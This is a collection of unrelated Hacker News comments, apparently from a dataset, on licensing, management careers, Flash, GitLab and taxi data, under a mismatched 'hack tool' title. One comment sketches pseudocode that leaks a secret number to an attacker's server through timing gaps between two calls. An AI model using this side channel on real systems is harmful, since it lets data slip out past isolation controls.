skysight-inc/HackerNews huggingface dataset:
Table Top Racing Hack Tool [ Android/iOS ]
Well, long story short, if you want people to pay you, they need incentive to do so. And unfortunately, the MIT license provides no incentive to do so.

Those with the cash to spare and the desire to do so will donate, just as they always have. Those without either, will not donate, just as they always have.

It reads like a plee to a user's conscience, but lacks any teeth to have any more effect than any other permissively licensed donationware.

Best of luck, though.
> Just because we have found a way to uniquely identify cords does not mean it will lead to a uniform distribution.

This is the sentence that helped me understand the paradox.

Perhaps this analogy will help. Think about how technically picking a value at random from a normal distribution can result in any value at all, extending to infinity in both directions, but that doesn't mean all values are equally likely. Every real number can be uniquely expressed as a number of standard deviations from mean in a normal distribution, but that still has a bias.
The day I decided to make it a goal to switch from developing software to management: I was sitting at my desk at 8:00 at night fixing some bug and I looked across the sea of gray half-height cubicles at a someone 30 years older than me doing the same thing with the exact same job title, probably not making much more than I.

At 95% of companies, there is zero career development and advancement once you become a "Senior Software Engineer". Fix that and you'll see more engineers stay put (where they're likely happier and more productive).
Voice recognition is good as long as you speak english without a strong accent, which is a bit limiting for non-native speakers.
Can we design the ideal city or must it evolve
>Is there any feature of which you think it is unjust that it is on GitLab.com but not in GitLab CE?

Any feature which cannot be self-hosted, and any minified JavaScript served to the users without the corresponding source code available. A GNU project depending on SaaS harms GNU's mission.

I'm not sure if this is still the case, but GNU Mailman was using JIRA, too, which is also very bad.
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I set the Flash plugin settings in Safari to "When visiting other websites: Ask" so that it only runs after explicit permission via popup window has been granted. Two things jumped out at me:

1) How many sites call the flash plugin while doing nothing of any value with it (tracking and ads are not considered of value). Every time you deny permission, a line is added in the prefs window with a "block" statement at the end, and this list is getting quite large...

2) How few websites actually need flash to be useful

Almost nothing of value has been lost.
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In addition, Web Animations that are supposed to replace SVG SMIL can't even animate basic transforms (rotate, scale, translate, skew) independently as they are based on CSS and inherited all its limitations. Imagine you need to set a different easing to rotation than to rescaling (which is a totally basic thing in animation). Good luck with that in CSS and upcoming Web Animations...
Thanks, we updated the submission from http://www.washingtonpost.com/news/on-leadership/wp/2015/03/..., which pointed to this.
I've done the engineer -> manager transition successfully about two years ago. The biggest help for me (=somebody who likes to read) was the Hardard Business Review's 'Guide to X' series:

https://hbr.org/store/landing/guides

In particular (X=):

- Better Business Writing

- Coaching Employees

- Giving Effective Feedback

- Finance Basics for Managers

- Office Politics (parts of it)

But really, all of them are pretty good, at about ~150 pages each, I plan to read all of them just to be sure.
Yes, correct, Ur/Web + Haskell. The author posted it in /r/haskell, IIRC.
Unfortunately it's been caught up in the classic proprietary closed-source vs public source political debates... Pretty much zero chance anything we do gets added to the public domain.
Sure, but you've only been selling them to people who actually need the support. The key is to also sell them to companies who don't need the support. In other words, include your imprecations against free-loaders.

And substantially raise your rates.
I'm not sure how the filter would work to catch something like:

-tickets to Carrot Top at Golden Nugget Casino in Atlantic City

So I'm pretty sure there's going to always be a modicum of human involvement in the claiming part. It could auto reply with some PO box address maybe. He did note sometimes he didn't receive the item (ex: 'tupaware').
Seems clear to me. "Reverse racism" isn't a thing. It's simply racism to view a person as inferior or superior based on their race. Reverse racism would be, I guess, saying your own race is inferior?
Do you consider these sorts of interviews fair? I don't see how re-writing something you've already showed them accounts for many things (aside from working under a time constraint)
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Sounds like the same problems that have been encountered (and mostly solved) in many different online videogames. Might be worth investigating how they solved these problems as well, since their solutions will be much more practical than theoretical.

http://gafferongames.com/networking-for-game-programmers/
Services like this are fucking scum.
You read an average of one book a day? That's impressive.
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One huge site that still uses Flash is HBO Go. Surprising considering most other big streaming video services (Netflix, Youtube, Vimeo) have moved or are moving to HTML5.
Very interesting to see the approach, especially his critique of OT, which virtually every other system seems to be based on. His alternative seems to make sense, but I'm not sure if the end result for the user will be better, or if it's mainly that the implementation is easier/less bug prone?

I've actually been playing around with "translating" the server backend for share.js to Elixir, to be able to host it as part of a Phoenix app. Playing with ways of integrating with erlnode to run the actual test cases (including a fuzzer) from JS directly on my Elixir code.

If this gets opensourced, I wonder how complex the backend will be (I'm assuming it will be written in Node?), given that it seems like the front-end is doing most of the work.
Just fyi and for others to see, you can remove flash cookies by going to this url: http://www.macromedia.com/support/documentation/en/flashplay...

This is a good solution for people that cannot work without flash.
Well I'm sure said things didn't just get thrown away lol
Yeah, this. The amount of pure rage inside my department directed at Java because of their boneheaded security stuff is enough to power a small city.

Okay, so open up the management interface for my SAN. Yes, I want to allow Java to run. Yes, I know it's not signed. No, I don't care.

Okay, now I have to go add the domain to an obscure control panel because a freakin' popup is too much to ask.

Now I go reload the page, yes I want to run the plugin, no I don't care that it's unsigned, yes I know that this may hose my computer, yes* i want to load the damned applet already.

Combine that with the fact that the Java web plugin sandbox and all this security appears to be trivially bypassed, and I wish they'd screw off with the multiple confirmation prompts and let me just control it with the browser.

* The number of times I've cared about the code signing status of any application in the last decade can be counted on one hand.
FWIW:

- 2013 data as FOILed by Chris Whong http://chriswhong.com/open-data/foil_nyc_taxi/

- 2008 to 2013 data as FOILed by me, on BigQuery https://bigquery.cloud.google.com/table/alien-climber-851:ny...

...note that after Whong's request, the TLC redacted the medallion numbers, making it virtually impossible to analyze trips by cabbie.
No one wants virtual worlds like that. A lot of the convenience of the internet is that it removes the need for such interaction. This leads to better information density online which leads to more buying confidence.

People were saying the same thing about Second Life, about how stores would need SL equivalents.

VR bookstores which try to model real bookstores will fall flat for the same reason Second Life ultimately failed to provide mainstream experiences.
Local governments should be demanding detailed data from companies like Uber in exchange for legalization, even raw data on locations of available cars. They have the leverage to get it now but they're wasting the chance. This data could eventually be used to avoid a true monopoly.

http://www.washingtonpost.com/news/wonkblog/wp/2014/10/30/ub...
Yes, that CoC is seriously creepy.

Saying "we're going to protect some groups but not others" is absolutely abhorrent. Either forbid all racism or allow everything (and just to make this clear: I'm very much on the side of forbidding all racism, no matter what race it targets), but saying "we'll allow hate speech about one race but we'll remove hate speech about another" is the literal definition of endorsing racism.

And then the bit about "tone"; they're basically saying that they explicitly allow blatant incivility. Now, that wouldn't be so bad if they had a "we never remove anything" policy, but they clearly don't. If they're going to remove bad content, then they need to have a policy of "keep a civil tongue in your mouth or get it cut out".

Also, as a trans girl, I don't tolerate anyone in my life saying "die cis scum" or #KillAllMen, and I call that shit out.

(edit: so, this apparently applies only to the projects GitHub maintains themselves and isn't a site-wide thing, so it's not as bad as I've feared, but I still don't like it)
I do something like that by using different browsers. My main browser on OS X is Chrome with some extensions, but I do all my online banking in Safari where extensions are completely disabled.
Also: https://medium.com/@vijayp/of-taxis-and-rainbows-f6bc289679a...

Downloading one of the CSVs to check it out. Each one is about 2GB.

EDIT: Per the BigQuery table schema, medallion is no longer a field.
I think it's about inferential distance. "News" is only 1 or 2 inferential steps from common knowledge. "New" is several step removed, and as such look alien, crazy, or pointless.
> textual descriptions like “hug” or “backrub”)

People actually do that? Just thinking about a stranger writing that to me makes me a bit creeped out, like a minor version of how Merkel reacted when Bush gave her a quick backrub.
The "parallel" technical career path never seems to deliver equal amounts of power, or even money, as compared to managers on the same level.

Very true. Engineering is the hard way up, because there's so much less of the title and grade and salary inflation on the management track. Take Google. If you're a manager and don't make Director in 5 years, you fucked something up. On the other hand, the Director-equivalent Principal Engineer rank is 3 jumps (all of them non-trivial to make) above Senior. When I was at Google (and this is probably no longer true) the number of Principal+ Engineers at Google NYC was... zero.

The cynic in me suspects that dual-track organizations actually serve management's goals by making it look rank-per-rank superior, just as the lopsided college admissions climate convinces middle-class public school kids that prep kids who get into Harvard are somehow impressive (because it is very hard to get into an Ivy from a middle-class background, but really easy for rich legacy kids). If you make it astronomically difficult to become a VP-equivalent engineer, then the VPs (who had a much easier climb) look more impressive. Far from providing a genuine alternative path to success, this process cements the tribal superiority of management.

Most telling is that when Google really wants someone and is competing with finance or Facebook and gives them a High-Compensation Plan (HCP), the person is put on the management ladder, even if that person intends and expects to be a full-time programmer. It's really hard to justify a $500,000 salary for an engineer but much easier if you give that person a managerial title. I'd imagine that Google isn't alone in this. It's probably a standard big-company thing.

Engineers (and, in finance, also quants and strats) also share some of the blame for the relative grade deflation, because we beat each other up relative to businessmen. They give each other consistently high marks and talk each other up. We're far too honest. And this "honesty" is something I've come to view negatively because what it really is, is ratting someone out to management, often cheaply or for free. My inclination, if they aren't hurting me or a project that I care about, is to protect underperformers, not because I like it when people underperform, but because information is power and I'm not going to share honest performance information on other people unless there is a legitimate reason to do so. (I care if someone is fucking up my project, or an existential threat to the company or my career. I don't care if he's costing someone else's company a salary while doing nothing; that's not an existential threat, so who cares?) But engineers have a storied history of being willing to tear each other down for cheap or even for free, and technology management has been exploiting our lack of tribal cohesion, in order to turn us against each other, for decades.
Are+You+Raising+Super+Entitled+Or+Well+Children?
I wish it included upvotes/downvotes. Why are those secret? It would be fun to work on ranking algorithms, and any inc effective requires knowing who is doing the up/down voting.
What is the intended use of the optional else clause of the try statement?
That's not what I want from people making medical products. Or food.
Press Release: http://www.nyc.gov/html/tlc/downloads/pdf/press_release_08_0...

BigQuery tables for the data: https://www.reddit.com/r/bigquery/comments/3fo9ao/nyc_taxi_t...
Google 'thinks' highly of GitHub. Our CoC for GitLab the project is also hosted on GitLab.com https://gitlab.com/gitlab-org/gitlab-ce/blob/master/CONTRIBU... Our canonical source is GitLab.com https://gitlab.com/gitlab-org/gitlab-ce/tree/master#canonica...
Yeah, I still like visiting record stores and book stores but I agree with this.

For me, Spotify is the best way for me to discover new music. Usually through the thematic aligned playlists or unofficial playlists curated by other users.
This is as true as:

1) We value work life balance!

2) We only hire the best! Everyone here is a rock star.

3) We love diversity!

4) We have an open door policy. You can complain about anything!
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I was going to say this too: HSQLDB is more suitable, at least for me, testing environment than SQLite.
As someone who uses Tmux for this purpose every day, pair programming with a content aware pair programming editor is a very different experience.

Typing at once in different parts of the code would be a huge boon to pair programming (that isn't even possible with in-person pairing, yet). Imagine being able to jump in and fix a typo while your pair keeps writing the next line.

There's no product that does this well enough for reliable daily use across a range of project types, but I can dream.
Even the gimmick ones are dutifully reported!

-A "warm sense of fulfillment"
Seems that someone's running wild, downvoting every comment they disagree with.

I believe neither maintaining a code that's compatible with multiple databases, nor using a single one is a mistake per se. Whatever rocks your boat is the attitude - one just needs to be aware of consequences (both good and bad ones) of chosen path.

But, yeah, the linked article's warning is completely valid - testing on a single platform, then deploying to another is likely to encounter some issues one day.
I don't understand what you mean with 'SaaS setup'. Our SaaS service is free, see https://about.gitlab.com/gitlab-com/. You can use GitLab CE for free on your own server https://about.gitlab.com/downloads/ or get GitLab EE with a subscription https://about.gitlab.com/pricing/ The most affordable subscription can be bought in 10-user packs, $390 for 10 yearly users.
Except "Reverse Racism" has a specific meaning, which is racism against a majority group (e.g. white people). There are people who believe that you can't be racist against a majority group, that it's called "reverse racism", and isn't a legitimate issue.
A minimal backend can be extremely simple, just relaying changes, but if you want it to keep a running snapshot of the current document, you'll need the capacity to apply those changes to document, so you'd need to use the module used by the client, or a port of that.
Could you say something about why you require invoices?

Would you pay extra to be able to get invoices from organisations you want to donate to?

I'm sensing an invoices as a service opportunity here :)
Frickin' enormous, but at the end of the day if someone is productive in vim, use vim. If they're productive with Atom, use Atom.

You can spend your life proving that your editor is the truth, or you can get on with it and build something awesome.
I'm not available this week but I'd be happy to debrief any time next. My contact info is available via my HN account.
Isn't "freeloading" mostly defined by using resources that you aren't required to compensate someone for? Else it would just be called stealing.
Nice project, this looks really interesting. I think google reader did the same thing before it was shut down.

ps I have my own podcast related project at https://pdcst.ninja
Why not just use their free hosted service?
There are shared workers but it's not standard yet (I think). https://html.spec.whatwg.org/multipage/workers.html#shared-w...

Even without shared workers timing attack works - untainted worker can connect to attacker site every second and update value, and be killed by untainted code after the tainted worker finished.

EDIT: or you can do this with no multithreading at all, just getMiliseconds() before and after tainted code, and make the tainted part last secret_number miliseconds.

Or if you blacklist getMiliseconds as tainting - do this on server instead.

callAttackersServer();
{
var tainted_int = getFromOtherServer();
for (var i=0; i<tainted_int; i++) {
sleep(100 ms);
}
}
callAttackersServer();

and the difference in time between calls will be interpreted on the server as the secret number.
If the alternative is going back to a known-to-be degrading physical copy, it doesn't matter how practical it is. They'll work to figure out how to do it.
Worth noting is that it's not just about titles. Titles matter, but they can also become a joke. It's easy to imagine a company, realizing that its best seniors are underpaid, inventing a new title to justify paying them only 10% more instead of the 30% they should get.

The bigger problem is that most companies view "engineer" as "implementor of ideas that come from the business". Hence, all that Agile/Scrum bullshit in which engineers just churn tickets, rather than making meaningful technical decisions and building projects of increasing scope. No one who has any leverage and talent wants to work in that way. This becomes self-perpetuating, because even though there are good people who stick around (usually, with kids in expensive private schools, or uninsured sick relatives) the assumption becomes that good engineers leave after a certain point and, thus, that anyone left isn't any good.

For me, I only enjoy coding if it's part of a bigger whole, and if I am proving something in doing so. If I'm stuck in a ticket shop and can't leave for 2 years for some reason, I'm going to manage (preferably officially; unofficially via aggressive delegation if necessary) because I was done with that junior-level business-story coding several years ago. I graduated out of it long ago, and I won't be put back there like Billy Madison.
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From Me: I've been with MSRC for 8 years. It's a great organization and I have really enjoyed working. Our development team is always tackling new new and interesting problems. Modern LAMP stack. Organization is 100% Apple. We get to attend and speak at developer conferences.

Job Post: The Marine Spill Response Corporation is the largest, dedicated oil spill and emergency response organization in the United States. MSRC is a not-for-profit, U.S. Coast Guard-classified Oil Spill Removal Organization (OSRO).

We are looking for a creative and innovative full-stack developer who can help us build and maintain our Intranet, company website and various other applications. The majority of your time will be spent working with a small team of developers managing a number of mission critical web applications and websites that contribute to the support of MSRC's oil spill and emergency response operations. If you are looking for an interesting place to work this may be the job for you!

http://msrc.applytojob.com/apply/CDRJI3/PHP-Web-Application-...
wow.

so what I predicted has basically already happened. sigh.
I have a machine with 6 1TB HDDs and a 512GB SSD, why do I care?

As long as it's not so big it becomes inconvenient to download it (IMO in the 10+GB range) I simply don't care about it's size, it doesn't effect me at all.

Use what you want to use, this field has too many holy wars already.
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This is only a problem if you haven't taken other measures to lighten the car to compensate.

Edit: That also depends on the weight of each component. If the gas engine is not expected to run all the time, it can be smaller/lighter than an engine in a comparable car. If it is just a generator, which it seems to be, then a whole lot of complexity is saved, beginning with the transmission. Electric engines are very small for their power, which also helps.
I don't think anyone is against the idea that you should use what you're comfortable with. I'm just backing up the idea that Atom is bloated, and even with all of the modules removed it's still going to be huge.
https://archive.is/pAfDb
The biggest area it's still important for me in my daily use is live streaming video. Most players are still flash.
This is so impressive it left most voters speechless. 269 points and only 35 comments at the time of this comment.
Thanks a ton! Am I really seeing a ~2x increase?
What does this mean? Are you looking for bitcoin in rails, paypal apis, etc?
Airbus files patent for a plane that flies at 4X the speed of sound
You can also discover books on online book shops.
All features can be self-hosted by some are proprietary, the list can be found on https://about.gitlab.com/features/#compare

With a GNU entousiast we looked into the javascript issue, all source code is available via https://gitlab.com/gitlab-org/gitlab-ee and the license ensures all downloaded javascript from GitLab.com is MIT licensed https://gitlab.com/gitlab-org/gitlab-ee/blob/master/LICENSE#...
http://iquantny.tumblr.com/post/125760518214/funny-math-fact...
Drones are the new laser pointers :)
The FTC:

https://www.ftc.gov/news-events/press-releases/2007/04/sweep...

http://supermarketnews.com/retail-amp-financial/ap-settles-c...

https://www.ftc.gov/news-events/press-releases/2015/02/ftc-o...
Just because you're posting the code publicly doesn't mean anyone can change your copy willy-nilly. There's a pull request process to go through, something that requires positive consent to do.
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